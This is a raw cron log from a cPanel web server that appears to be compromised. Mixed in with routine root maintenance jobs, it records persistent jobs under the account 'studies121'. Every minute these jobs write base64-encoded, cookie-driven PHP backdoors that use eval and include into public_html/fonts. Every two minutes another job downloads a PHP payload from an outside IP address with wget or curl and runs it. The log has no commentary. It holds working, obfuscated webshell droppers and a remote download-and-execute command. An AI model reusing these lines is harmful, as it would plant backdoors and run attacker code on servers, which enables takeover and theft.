Sep 22 03:39:01 ip-184-168-122-23 CROND[6828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:39:01 ip-184-168-122-23 CROND[6830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:39:01 ip-184-168-122-23 CROND[6829]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:39:01 ip-184-168-122-23 CROND[6832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:39:01 ip-184-168-122-23 CROND[6833]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 03:40:01 ip-184-168-122-23 CROND[7034]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 03:40:01 ip-184-168-122-23 CROND[7036]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:40:01 ip-184-168-122-23 CROND[7040]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:40:01 ip-184-168-122-23 CROND[7041]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:40:01 ip-184-168-122-23 CROND[7044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:40:01 ip-184-168-122-23 CROND[7045]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:40:01 ip-184-168-122-23 CROND[7046]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:40:01 ip-184-168-122-23 CROND[7048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:40:01 ip-184-168-122-23 anacron[1154]: Job `cron.daily' started
Sep 22 03:40:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[7062]: starting logrotate
Sep 22 03:40:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[7084]: finished logrotate
Sep 22 03:40:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[7062]: starting man-db.cron
Sep 22 03:40:04 ip-184-168-122-23 run-parts(/etc/cron.daily)[7096]: finished man-db.cron
Sep 22 03:40:04 ip-184-168-122-23 anacron[1154]: Job `cron.daily' terminated
Sep 22 03:40:04 ip-184-168-122-23 anacron[1154]: Normal exit (1 job run)
Sep 22 03:41:01 ip-184-168-122-23 CROND[7234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:41:01 ip-184-168-122-23 CROND[7236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:41:01 ip-184-168-122-23 CROND[7238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:41:01 ip-184-168-122-23 CROND[7241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:42:01 ip-184-168-122-23 CROND[7362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:42:01 ip-184-168-122-23 CROND[7364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:42:01 ip-184-168-122-23 CROND[7367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:42:01 ip-184-168-122-23 CROND[7365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:42:01 ip-184-168-122-23 CROND[7366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:43:01 ip-184-168-122-23 CROND[7564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:43:01 ip-184-168-122-23 CROND[7566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:43:01 ip-184-168-122-23 CROND[7567]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:43:01 ip-184-168-122-23 CROND[7568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:44:01 ip-184-168-122-23 CROND[7780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:44:01 ip-184-168-122-23 CROND[7783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:44:01 ip-184-168-122-23 CROND[7781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:44:01 ip-184-168-122-23 CROND[7782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:44:01 ip-184-168-122-23 CROND[7784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:45:01 ip-184-168-122-23 CROND[7921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:45:01 ip-184-168-122-23 CROND[7922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:45:01 ip-184-168-122-23 CROND[7924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:45:01 ip-184-168-122-23 CROND[7926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:45:01 ip-184-168-122-23 CROND[7927]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:45:01 ip-184-168-122-23 CROND[7930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 03:46:01 ip-184-168-122-23 CROND[8060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:46:01 ip-184-168-122-23 CROND[8058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:46:01 ip-184-168-122-23 CROND[8059]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:46:01 ip-184-168-122-23 CROND[8062]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 03:46:01 ip-184-168-122-23 CROND[8064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:46:01 ip-184-168-122-23 CROND[8063]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 03:46:01 ip-184-168-122-23 CROND[8067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:47:01 ip-184-168-122-23 CROND[8205]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:47:01 ip-184-168-122-23 CROND[8206]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:47:01 ip-184-168-122-23 CROND[8208]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:47:01 ip-184-168-122-23 CROND[8209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:48:01 ip-184-168-122-23 CROND[8404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:48:01 ip-184-168-122-23 CROND[8405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:48:01 ip-184-168-122-23 CROND[8407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:48:01 ip-184-168-122-23 CROND[8406]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:48:01 ip-184-168-122-23 CROND[8409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:49:01 ip-184-168-122-23 CROND[8617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 03:49:01 ip-184-168-122-23 CROND[8618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:49:01 ip-184-168-122-23 CROND[8619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 03:49:01 ip-184-168-122-23 CROND[8621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:50:01 ip-184-168-122-23 CROND[8784]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 03:50:01 ip-184-168-122-23 CROND[8787]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 03:50:01 ip-184-168-122-23 CROND[8788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 03:50:01 ip-184-168-122-23 CROND[8789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 03:50:01 ip-184-168-122-23 CROND[8790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 03:50:01 ip-184-168-122-23 CROND[8793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
